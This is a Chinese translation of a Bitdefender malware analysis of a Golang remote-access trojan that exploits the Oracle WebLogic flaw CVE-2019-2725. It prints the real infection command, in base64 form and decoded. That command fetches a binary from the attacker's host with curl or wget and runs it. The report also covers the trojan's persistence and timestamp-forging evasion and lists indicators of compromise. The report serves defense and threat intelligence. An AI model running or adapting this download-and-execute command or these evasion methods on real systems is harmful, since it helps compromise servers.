译者:知道创宇404实验室翻译组
原文链接:https://labs.bitdefender.com/2020/10/theres-a-new-a-golang-written-rat-in-town/

前言

Bitdefender的安全研究人员发现了一种新的Golang编写的RAT,它利用CVE-2019-2725(Oracle WebLogic RCE)漏洞攻击设备。与其他利用此漏洞的攻击不同,它不会(至少目前还没有)尝试安装cryptominer或部署其他恶意软件。

Oracle在2019年4月公布了CVE-2019-2725漏洞的详细信息,但在那之前就有关于该漏洞利用的报道了。这个CVE的CVSS分数为9.8。

攻击过程

一些恶意软件在试图感染设备、跟踪开放端口和使用普通凭据执行暴力攻击时往往使用较少的技术手段,这种活动在大量的设备上都能起作用。

相比之下,这种恶意软件在运行Oracle WebLogic服务器的特定目标上工作。这是一项通常不在前线的技术,因此用户一般不知道它的存在。但是这类服务器非常普遍,它们是云的一部分,并且具有为用户运行应用程序的能力。

Oracle WebLogic服务器通常不会暴露在网络中,但并不是每个人都有安全意识。当CVE-2019-2725出现时,攻击者可能会危害数万个不安全的WebLogic服务器。

感染有效负载使用CVE,使攻击者能够访问:

nohup echo Y3VybCBodHRwOi8vYm94LmNvbmYxZy5jb20vbC9zb2RkL1NlY3VyaXR5Lkd1YXJkIC1vIC90bXAvcHJvYy50bXAgfHwgd2dldCAtYyAtdCAyMCBodHRwOi8vYm94LmNvbmYxZy5jb20vbC9zb2RkL1NlY3VyaXR5Lkd1YXJkIC1PIC90bXAvcHJvYy50bXAgOyBjaG1vZCAwNzU1IC90bXAvcHJvYy50bXAgO25vaHVwIC90bXAvcHJvYy50bXAgPiAvZGV2L251bGwgMj4mMSAmCg== | base64 -d | /bin/bash > /dev/null 2>&1 &;

base64在文本格式中:

curl http://box.conf1g.com/l/sodd/Security.Guard -o /tmp/proc.tmp || wget -c -t 20 http://box.conf1g.com/l/sodd/Security.Guard -O /tmp/proc.tmp ; chmod 0755 /tmp/proc.tmp ;nohup /tmp/proc.tmp > /dev/null 2>&1 &

该特定版本在Linux和x86架构上运行,但是由于RAT可以在Golang中开发,攻击者可以轻松地为其他操作系统和架构编译版本。

RAT进入服务器

如有效负载所示,该恶意软件带有两个为Golang编写的二进制文件Security.GuardSecurity.Script,它们是针对x86编译的。第一个打包了UPX(一种支持多种操作系统的开源可执行打包程序)。

这是功能的更详细说明:

  • Package main: C:/Go/Guard/src/Main
  • File: GuardMain.go
init Lines: 30 to 32 (2)        
LoadEnv Lines: 80 to 95 (15)        
ReceiveSignal Lines: 95 to 109 (14) 
init0 Lines: 109 to 138 (29)        
InstallStartUp Lines: 138 to 168 (30)       
copyToFile Lines: 168 to 197 (29)           
ChangeSelfTime Lines: 197 to 207 (10)       
ExecShell Lines: 207 to 217 (10)            
Download Lines: 217 to 249 (32)     
GetVersion Lines: 249 to 291 (42)           
killLockFile Lines: 291 to 302 (11)         
killRepeat Lines: 302 to 337 (35)           
run Lines: 337 to 437 (100)         
IsDir Lines: 437 to 448 (11)            
GuardProc Lines: 448 to 479 (31)        
Md5Sum Lines: 479 to 495 (16)       
Update Lines: 495 to 523 (28)           
main Lines: 523 to 527 (4)      
mainfunc1 Lines: 527 to 537 (10)
  • Package main: C:/Users/john/Desktop/NiuB/Linux&C#/src/Linux/Main
  • File: Main.go
init0 Lines: 54 to 71 (17)  
main Lines: 71 to 125 (54)  
ReceiveSignal Lines: 125 to 141 (16)    
MakeOnlineInfo Lines: 141 to 176 (35)   
Encrypt Lines: 176 to 186 (10)  
Md5Sum Lines: 186 to 202 (16)   
killLockFile Lines: 202 to 217 (15) 
killRepeat Lines: 217 to 246 (29)   
MakeUUID Lines: 246 to 268 (22) 
GetOsInfo Lines: 268 to 308 (40)    
GetIPs Lines: 308 to 343 (35)   
InitStart Lines: 343 to 351 (8) 
Download Lines: 351 to 387 (36) 
ExecShell Lines: 387 to 400 (13)    
ChangeSelfTime Lines: 400 to 411 (11)   
SetTimeOut Lines: 411 to 418 (7)    
MsgProcess Lines: 418 to 444 (26)

Security.Guard二进制文件具有三个功能:下载RAT,对其进行初始化并确保其保持运行状态。它在感染后仍然存在,因为它通过查询托管服务器上的URL(l/sodd/ver)来监视版本更改,它从中解析两个md5值。如果这些哈希值与Guard和RAT之一不同,二进制文件将更新并重新启动。

有趣的是,Guard和RAT都执行了singleton属性,这意味着该设备上只能运行单个恶意软件。该恶意软件使用两种方法来保持唯一。首先,它将PID存储在lock file中,从而使其可以终止新的相同进程。其次,它检查运行过程以识别同一恶意软件的其他实例。

此外,Guard使用相同的过程迭代代码来检查RAT是否正在运行,否则将重新启动它。为了识别进程,该例程对每个进程在/proc/<PID>/exe文件上执行md5哈希,并将其与RAT二进制文件的已知哈希进行比较。

当然,该恶意软件还使用逃避技术。它在过去使用以下两个规则之一设置所有已创建文件的时间戳:

  • 2012-12-21 12:31:09
  • 2018-10-11 18:52:46

Guard运行一个持久脚本,该脚本将启动脚本植入依赖于Linux发行版的位置。在这种情况下,脚本支持CentOS,Ubuntu和Debian。

RAT连接到C2,发送包含系统指纹信息的签入消息,然后侦听命令。发送回操作员的数据包括设备的硬件,操作系统和IP。与C2的通信使用具有密钥0x86的简单XOR密码进行加密。

它仅支持两个命令,但为攻击者提供了机会:

  • COMMAND (execute shell commands)
  • DOWNLOAD (download and run binary)

该RAT似乎与去年报道的PowerGhost活动有关。两者共享托管服务器,URI和bash脚本中的部分代码。

尽管通过CVE-2019-2725传播的有效负载托管在不同的URI中,但以前的报告中包含了l/sodd/synl/sodd/udp,现在也托管了Security.Guard版本。

持久性脚本保留了去年报告的部分有效负载。尽管较新的活动缺乏横向移动和特权升级功能,但Golang恶意软件似乎处于开发的早期阶段。即便如此,攻击者仍然能够下载并运行他们选择的任何二进制文件。

附加信息

URLs:

hxxp://box.conf1g.com/l/sodd/Security.Guard
hxxp://box.conf1g.com/l/sodd/Security.Script
hxxp://box.conf1g.com/l/sodd/ver

C2:

log.conf1g[.]com:53

IPs:

185.128.41[.]90(ZoomEye搜索结果
185.234.218[.]247(ZoomEye搜索结果

Hashes:

e457b6f24ea5d3f2b5242074f806ecffad9ab207
add4db43896f65d096631bd68aa0d1889a5ff012
5b2275e439f1ffe5d321f0275711a7480ec2ac90
fc594723788c545fae34031ab6abe1e0a727add4
26a70988bd873e05018019b4d3ef978a08475771

Filenames:

/var/tmp/…/.esd-644/auditd
/bin/.securetty/.esd-644/auditd
/usr/sbin/abrtd
devkit-power-daemon
.nginx.lockfile
.httpd.lockfile
.1e8247d9f7f3f4fe8f1c097094d7ff08


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1357/